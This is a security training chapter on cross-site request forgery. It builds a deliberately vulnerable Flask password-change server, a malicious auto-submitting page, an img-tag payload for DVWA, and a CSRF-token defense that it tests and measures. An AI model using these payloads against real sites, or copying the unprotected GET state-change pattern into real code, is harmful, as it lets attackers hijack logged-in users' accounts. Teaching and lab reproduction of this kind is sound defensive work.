Step 140. CSRF: Request Forgery — The Victim’s Browser Clicks for You
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3 hours
Prerequisites: Step 139’s cookie & session knowledge, Step 73’s HTTP request structure, and Step 94’s Flask server knowledge.
- What you need: DVWA (or a wargame lab), Python 3 + Flask + requests (for local reproduction), browser developer tools
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
In Step 139 we stole the victim’s cookie and used it. But there’s a way to make things happen with the victim’s authority without stealing the cookie at all — making the victim’s browser send the request by itself. Browsers have one diligent habit: when sending a request to a site, they automatically attach that site’s cookies. The attack that exploits this diligence is CSRF (Cross-Site Request Forgery). Today you’ll stand up a vulnerable server and a malicious page on your own machine to reproduce this attack, and measure exactly why a CSRF token blocks it.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain how the browser’s automatic cookie-sending trait enables CSRF
- Write a malicious page that forges requests with an auto-submitting form or an image tag
- Reproduce a forged request being processed as-is while a login session exists
- Confirm by experiment and explain why CSRF token defense stops forgery
- Explain the SameSite cookie attribute’s role and modern browsers’ changes
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask + requests (local reproduction), browser, DVWA lab |
| Today’s commands | requests.Session() (a browser imitation that stores cookies), HTML <form> auto-submit |
| Concepts needed | Automatic session-cookie sending, CSRF, CSRF tokens, the SameSite attribute |
| Today’s artifact | A CSRF attack/defense reproduction record + a "normal request vs forged request" comparison note |
2-1. Automatic Cookie Sending — A Hole Dug by Diligence
After login, the browser attaches the session cookie to every request going to that site. The problem is "every" — not just requests I typed in the address bar, but requests triggered by pages on other sites get the cookie too. The moment a browser loads <img src="http://bank/transfer?..."> inside a malicious page, that request arrives at the bank wearing the victim’s login cookie. From the bank server’s standpoint, it’s indistinguishable from "a request from a logged-in legitimate user."
2-2. CSRF — What Forging a Request Means
The attack’s structure:
① The victim logs into the bank (target site) — holds a session cookie
② The victim visits a page the attacker made (via a link click, etc.)
③ A hidden form/image in that page auto-fires a request to the target site
④ The victim's cookie is automatically attached → the server processes it as the victim's action
The victim clicked nothing. They merely opened a page. If XSS is "execute my code in the victim’s browser," CSRF is "execute my request in the victim’s browser" — you don’t need to plant code. A single link suffices.
2-3. The CSRF Token — A One-Time Value Only the Server Knows
The defense’s core question is "did this request originate from a form on our site?" Every time the server renders a form, it plants an unpredictable CSRF token as a hidden field. A legitimate form submission carries the token; a forged request from a malicious page has none — the attacker sits on a different site and doesn’t know the token value. The server just rejects anything with a missing or wrong token. Done.
2-4. SameSite — A Travel Ban on Cookies
Attach SameSite=Lax or Strict to a cookie and the browser won’t attach it to requests originating from other sites. It severs the automatic sending at the cookie stage. Modern browsers changed the default to Lax, making classic CSRF steadily harder — which is why today’s practice happens in a "lab environment where the principle is visible." Understanding the principle is the goal.
3. Follow Along
DVWA screens appear as output examples; the principle is measured on local Flask servers. (This text was measured 2026-09-09 on Windows + Flask 3.1.3.)
3-1. The Vulnerable Server — Password Change That Never Asks "Was It Your Will?"
The server to be attacked. It changes the password via a GET parameter — an easy mistake to make (vuln_csrf.py).
Input
from flask import Flask, request, session
app = Flask(__name__)
app.secret_key = "lab-secret"
PW = {"admin": "original-pass"}
@app.route("/login")
def login():
session["user"] = "admin"
return "Login complete (session cookie issued)"
@app.route("/change")
def change():
if "user" not in session:
return "Login required", 401
# Vulnerability: no means of checking whether this request is 'the user's own will'
PW["admin"] = request.args.get("new", "")
return f"Password changed: {PW['admin']}"
app.run(port=8320)
How to read it: /change only checks whether you’re logged in. It never asks "did this request come from our site’s password-change form?" That very point is CSRF’s door. In real work too, accepting a state-changing action (password change, transfer, posting) via GET is itself a danger signal.
3-2. The Malicious Page — A Trap That Fires a Request Just by Being Visited
The side the attacker builds (evil_page.py).
Input
from flask import Flask
app = Flask(__name__)
@app.route("/")
def trap():
# The visitor's browser auto-submits this form -> the victim's cookie rides along
return """<html><body onload="document.forms[0].submit()">
<form action="http://127.0.0.1:8320/change" method="GET">
<input type="hidden" name="new" value="hacked-by-csrf">
</form>
<p>An ordinary-looking page...</p>
</body></html>"""
app.run(port=8321)
How to read it: on the surface it’s "an ordinary-looking page," but body onload submits the hidden form to the target server the instant it opens. There’s no button the user pressed. For a target like DVWA’s CSRF menu where the change happens via GET parameters, you don’t even need a form — a single <img src="http://target/change?new=..."> line does it — image loading is itself a request.
3-3. Reproducing the Attack — The Moment the Cookie Rides Along Automatically
Start both servers; requests.Session() plays the victim’s browser. A session automatically attaches a once-received cookie to subsequent requests — the browser’s diligence, exactly.
Input
import requests
# 1) Victim: log into the target server
s = requests.Session()
r = s.get("http://127.0.0.1:8320/login")
print("Response:", r.text, "| session cookie:", dict(s.cookies))
# 2) The victim 'visits' the malicious page — simulating the request the form auto-submits
# The session attaches the cookie automatically. This is the heart of CSRF.
r = s.get("http://127.0.0.1:8320/change", params={"new": "hacked-by-csrf"})
print("Forged request response:", r.status_code, r.text)
Output (measured 2026-09-09):
Response: Login complete (session cookie issued) | session cookie: {'session': 'eyJ1c2VyIjoiYWRtaW4ifQ.aqEE0w.fsnemmTWVDgaCKPOaWL_jCUR3wQ'}
Forged request response: 200 Password changed: hacked-by-csrf
How to read it: the forged request was accepted with 200, and the server’s password store changed to {'admin': 'hacked-by-csrf'}. Next time the victim tries to log in with the original password, they’ll fail. In the server log it’s recorded as nothing more than "a normal request from logged-in admin" — the server couldn’t tell normal from forged. That is CSRF’s definition.
Why do this: you need to feel "the state changed even though I only visited" firsthand before the habit forms of asking in real work, "is this request really the user’s will?" Not the attack — the question is where defense begins.
3-4. Measuring the Defense — What the CSRF Token Blocks
Stand up a version of the same server with token checking added. At login the server issues an unpredictable token, and the change request demands a token match.
Input (the defense server’s core + experiment)
import secrets
# At login: TOKENS["admin"] = secrets.token_hex(8) — issue a one-time token
# At /change: if request.args.get("csrf") != TOKENS["admin"], reject with 403
import requests
s2 = requests.Session()
s2.get("http://127.0.0.1:8322/login")
# The attacker's page doesn't know the token — the same forged request, without the token
r = s2.get("http://127.0.0.1:8322/change", params={"new": "hacked-by-csrf"})
print("Forged request without token:", r.status_code, r.text)
# Normal request: the user submits from the server-issued form, with the token
r = s2.get("http://127.0.0.1:8322/change", params={"new": "user-choice", "csrf": "dc0af1b27f0c01ef"})
print("Normal request with token:", r.status_code, r.text)
Output (measured 2026-09-09):
Forged request without token: 403 CSRF token mismatch — request denied
Normal request with token: 200 Password changed: user-choice
How to read it: the cookie still rode along automatically — that’s the browser’s nature and can’t be changed. But with no token, it was denied. The malicious page is a different site, so it can’t know the token value the server issued, and can’t guess it either (secrets.token_hex — unpredictable randomness). The cookie proves "who you are"; the token proves "is this really something I asked for." They are different questions.
3-5. Applying It in DVWA — Wargame Progression Order
In the lab, proceed in this order (screens and results are output examples):
- Open DVWA’s CSRF menu and confirm in developer tools’ Network tab that the password change happens via GET parameters (
?password_new=...&password_conf=...&Change=Change). - Build a malicious page:
<img src="http://DVWA_address/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">. Saving it as a local file (evil.html) is fine. - Open that file in the same browser logged into DVWA. Then log out of DVWA and try logging in with the new password
hacked— if it works, the attack succeeded. - With Burp (or developer tools), place the "normal change request" and the "forged request" side by side and compare — confirm that what the server received is practically the same GET request.
- Open the High difficulty code, find the CSRF token check, and confirm that requests without the token are denied.
Caution: modern browsers sometimes don’t attach cookies to requests coming from other sites because of the SameSite default. If it won’t reproduce in the lab, that’s the SameSite defense working — record it as an observation result in its own right.
4. Missions & Exercises
Mission — CSRF Reproduction Report
- Reproduce the 3-1~3-3 local experiment and attach to your write-up the "Forged request response: 200" and the output showing the changed password store
- Reproduce the 3-4 token-defense experiment and attach the 403 denial output as well
- In DVWA (or a lab), succeed in changing the password via a malicious page and confirm that logging in with the new password works
- Build a table comparing the HTTP requests of "normal request vs forged request" (method, URL, cookie, originating page)
- Write in your own sentences the three conditions for CSRF to hold
Exercises
Exercise 1. Explain from the "browser’s diligence" perspective why the victim’s cookie rides on the forged request in CSRF.
Exercise 2. Distinguish CSRF from XSS by "what gets executed."
Exercise 3. Explain the principle by which a CSRF token blocks forgery, citing the 403 output from the 3-4 measurement.
Exercise 4. If a password change is accepted only via POST instead of GET, is CSRF completely solved? If not, explain why.
5. Model Answers & Completion Criteria
Mission Model Answer
Reproduction record example (per the 2026-09-09 local measurement):
[Vulnerable server] Forged request response: 200 Password changed: hacked-by-csrf
[Defense server] Forged request without token: 403 CSRF token mismatch — request denied
[Defense server] Normal request with token: 200 Password changed: user-choice
Comparison table example:
| Item | Normal request | Forged request |
|---|---|---|
| Method & URL | GET /change?new=… | GET /change?new=… (identical) |
| Cookie | Session cookie attached | Session cookie attached (identical — automatic) |
| Origin | The change form the server gave | A hidden form/img on a malicious page |
| Can the server tell? | — | No (before introducing tokens) |
CSRF’s three conditions: ① a logged-in session exists on the target site. ② state-changing requests are processed without "user-intent confirmation." ③ the attacker can predict every parameter of the request.
How to verify: ① did you confirm the output where the password store changes to the attacker’s value locally? ② is a tokenless request a 403? ③ did login with the new password work in the lab? ④ can you explain that breaking any one of the three conditions makes the attack fail?
Exercise Answers
Answer 1. Browsers don’t look at a request’s "origin" — only its "destination." If the destination matches the site that issued the cookie, they auto-attach the cookie no matter what page triggered the request. Because of this diligent rule, requests commanded by a malicious page carry the victim’s session cookie too.
Answer 2. XSS executes the attacker’s code (JavaScript) in the victim’s browser — that code can do anything: read cookies, alter the screen. CSRF plants no code; it makes the victim’s browser send a request the attacker built in advance — what it can do is limited to "invoking features the server provides," but for that very reason it’s simpler and needs no code execution.
Answer 3. In the 3-4 measurement, the tokenless forged request was denied with 403, and only the request with the correct token got 200. The token is an unpredictable value the server plants only when rendering the form, so a malicious page on another site can’t know it. Apart from "who you are," which the cookie (auto-attached) proves, the token proves "is it your own will."
Answer 4. It isn’t solved. The <img> trick is blocked, but a malicious page can auto-submit a <form method="POST"> and forge POST requests too (3-2’s form is exactly that shape). The method is not a defense — the token confirming user intent, and SameSite, are the defenses.
Completion Criteria Checklist
- [ ] I can explain that automatic cookie sending is the heart of CSRF
- [ ] I can build a forged-request page with an auto-submitting form or img tag
- [ ] I reproduced a forged request being processed with 200 on a local server
- [ ] I confirmed the same request becomes 403 on a server with a CSRF token
- [ ] I can state the distinction "the cookie is identity, the token is intent"
- [ ] I know the SameSite attribute’s role and modern browsers’ default change
- [ ] I re-confirmed that this practice is for my own lab only
6. Common Pitfalls & Fixes
Wall 1. I opened the malicious page but nothing happened
Symptom: the password doesn’t change.
Cause: ① the victim isn’t logged into the target site, ② the form’s action address is wrong, or ③ the browser didn’t attach the cookie because of SameSite.
Fix: first confirm the logged-in state of the target site in the same browser. In developer tools’ Network tab, look at whether the forged request actually went out and whether the cookie was attached.
Wall 2. The request goes out but the cookie isn’t attached
Symptom: there’s no Cookie in the request headers of the Network tab.
Cause: modern browsers’ SameSite=Lax default — cookies aren’t attached to requests originating from other sites (including local files).
Fix: this isn’t a failure — it’s the defense working. If your purpose is the experiment, do it in an old-style lab environment like DVWA, and record "SameSite blocked it" in your observation notes — that is today’s reality.
Wall 3. The attack doesn’t work because the parameter names differ
Symptom: the server returns a 400 error or an empty response.
Cause: the forged request’s parameter names/count differ from the server’s expectation.
Fix: send a normal request once first and copy the parameters verbatim from developer tools. For DVWA you need all three: password_new, password_conf, Change.
Wall 4. In the local experiment, the session cookie doesn’t follow
Symptom (measured 2026-09-09): requesting with a fresh requests.Session() returns Login required 401.
Cause: a session object is a bowl that stores cookies. Request with a new session different from the one you logged in with, and there are no cookies.
Fix: send follow-up requests with the same session object you used to log in. In browser terms, the condition is "in the same browser."
Wall 5. I met a lab that was defeated despite token defense
Symptom: it’s High difficulty, yet the token passes.
Cause: even with tokens, it’s neutralized if ① not every request is validated, ② the token is exposed in the URL, or ③ an XSS exists that can read the token.
Fix: if you’re the defender — bind the token to the server session, validate it on every request, and block XSS first. CSRF defense holds only on the premise that there’s no XSS.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| CSRF | An attack that makes the victim’s browser send a forged request — the cookie rides along automatically |
| Automatic cookie sending | The browser rule that asks about destination, never origin — CSRF’s heart |
| Auto-submitting form | onload + hidden form — a request fired without a click |
| CSRF token | A one-time value only the server knows — proof of "is it the user’s intent" |
| SameSite | A cookie attribute that stops attaching cookies to cross-site requests |
| State change via GET | A danger signal in itself — can fire with a single link/image |
Today’s Commands & Code
| Command/code | What it does |
|---|---|
requests.Session() |
A browser imitation that stores and auto-attaches cookies |
<body onload="document.forms[0].submit()"> |
Submit a form the instant the page opens — the heart of the CSRF trap |
<img src="http://target/change?new=..."> |
A one-line forgery aimed at GET-based targets |
secrets.token_hex(8) |
Generate an unpredictable CSRF token |
SameSite=Lax / Strict |
Restrict a cookie’s cross-site sending |
An Instinct More Important Than Commands
Today’s key sentence is "the cookie proves identity, but it doesn’t prove intent." If a server processes an action looking only at the cookie, nobody knows who the action’s true owner is. Every time you build a state-changing feature in real work, ask — did this request come from our form? That single question gives birth to the token.
Placing XSS and CSRF side by side reveals the map of web attacks. Both use the victim’s browser as a tool, but XSS is an attack that "plants code" while CSRF is one that "commands requests." And the two grow stronger when they meet — XSS can read the token and collapse CSRF defense. That’s why defense must be layered.
Once every box is checked, Step 140 is complete.